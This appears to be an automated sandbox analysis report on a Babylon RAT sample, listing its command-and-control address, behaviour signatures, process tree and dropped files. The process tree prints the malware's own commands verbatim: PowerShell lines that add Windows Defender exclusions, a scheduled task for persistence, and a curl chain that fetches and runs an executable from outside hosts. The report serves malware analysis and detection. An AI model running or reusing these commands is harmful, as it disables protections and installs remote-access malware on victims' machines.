Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/06/2024, 11:50

General

  • Target
    2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe
  • Size 4.9MB
  • Sample240626-nzywtstcna
  • SHA256 0217f0ab778acfba323a9b444c8661618fc23f23906f16fe46564a86e4b86836
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • babylonrat

C2
  • 147.185.221.20

Signatures

  • Babylon RAT

    Babylon RAT is remote access trojan written in C++.

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath \"$env:programdata\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2320
    • C:\ProgramData\Microsoft\SvcHost\svc-host.exe
      C:\ProgramData\Microsoft\SvcHost\svc-host.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%programdata%"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3732
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Create /F /RL HIGHEST /SC ONLOGON /TN "Microsoft\Windows\SvcHost\SvcHost" /TR "cmd.exe /c start \"\" \"^%programdata^%\Microsoft\SvcHost\svc-host.exe\""
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2456
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c for /f "delims=" %i in ('curl -s https://rentry.co/o5kpirns/raw') do @curl -o "C:\ProgramData\Microsoft\Security\SecurityHealth.exe" %i 1>nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c curl -s https://rentry.co/o5kpirns/raw
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\SysWOW64\curl.exe
            curl -s https://rentry.co/o5kpirns/raw
            5⤵
              PID:1080
          • C:\Windows\SysWOW64\curl.exe
            curl -o "C:\ProgramData\Microsoft\Security\SecurityHealth.exe" https://raw.githubusercontent.com/Drelta/test/main/SecurityDiagram.txt
            4⤵
              PID:3896
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c start "" "C:\ProgramData\Microsoft\Security\SecurityHealth.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1000
            • C:\ProgramData\Microsoft\Security\SecurityHealth.exe
              "C:\ProgramData\Microsoft\Security\SecurityHealth.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3040

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            SecurityHealth.exe

            • Path C:\ProgramData\Microsoft\Security\SecurityHealth.exe
            • Size 733KB
            • SHA256 fa7ce16aab3ede14a4274600b3787bc66047001264da0cdeb965f231a1fd826f
            • MD5 SHA1 SHA512 SSDEEP

            svc-host.exe

            • Path C:\ProgramData\Microsoft\SvcHost\svc-host.exe
            • Size 400KB
            • SHA256 1c71376c691b2802a5809f3e0cf715e4de2611a6008bd40a3c81cecd6c77c365
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_w5cz2wmk.zj3.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w5cz2wmk.zj3.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/2320-6-0x00000227E1420000-0x00000227E1442000-memory.dmp

            memory/2320-11-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

            memory/2320-15-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

            memory/2320-14-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

            memory/2320-0-0x00007FFFF3A33000-0x00007FFFF3A35000-memory.dmp

            memory/3732-23-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

            memory/3732-55-0x0000000007330000-0x00000000073D3000-memory.dmp

            memory/3732-25-0x0000000074C80000-0x0000000075430000-memory.dmp

            memory/3732-27-0x0000000005BC0000-0x0000000005BE2000-memory.dmp

            memory/3732-28-0x0000000005C60000-0x0000000005CC6000-memory.dmp

            memory/3732-29-0x0000000005CD0000-0x0000000005D36000-memory.dmp

            memory/3732-39-0x0000000005D40000-0x0000000006094000-memory.dmp

            memory/3732-24-0x0000000005410000-0x0000000005A38000-memory.dmp

            memory/3732-41-0x0000000006350000-0x000000000636E000-memory.dmp

            memory/3732-42-0x00000000063A0000-0x00000000063EC000-memory.dmp

            memory/3732-43-0x0000000006910000-0x0000000006942000-memory.dmp

            memory/3732-44-0x0000000070AA0000-0x0000000070AEC000-memory.dmp

            memory/3732-54-0x0000000007310000-0x000000000732E000-memory.dmp

            memory/3732-26-0x0000000074C80000-0x0000000075430000-memory.dmp

            memory/3732-56-0x0000000007CC0000-0x000000000833A000-memory.dmp

            memory/3732-57-0x0000000007680000-0x000000000769A000-memory.dmp

            memory/3732-58-0x0000000007700000-0x000000000770A000-memory.dmp

            memory/3732-59-0x00000000078F0000-0x0000000007986000-memory.dmp

            memory/3732-60-0x0000000007880000-0x0000000007891000-memory.dmp

            memory/3732-61-0x00000000078B0000-0x00000000078BE000-memory.dmp

            memory/3732-62-0x00000000078C0000-0x00000000078D4000-memory.dmp

            memory/3732-63-0x00000000079B0000-0x00000000079CA000-memory.dmp

            memory/3732-64-0x00000000079A0000-0x00000000079A8000-memory.dmp

            memory/3732-67-0x0000000074C80000-0x0000000075430000-memory.dmp

            memory/3732-22-0x0000000074C8E000-0x0000000074C8F000-memory.dmp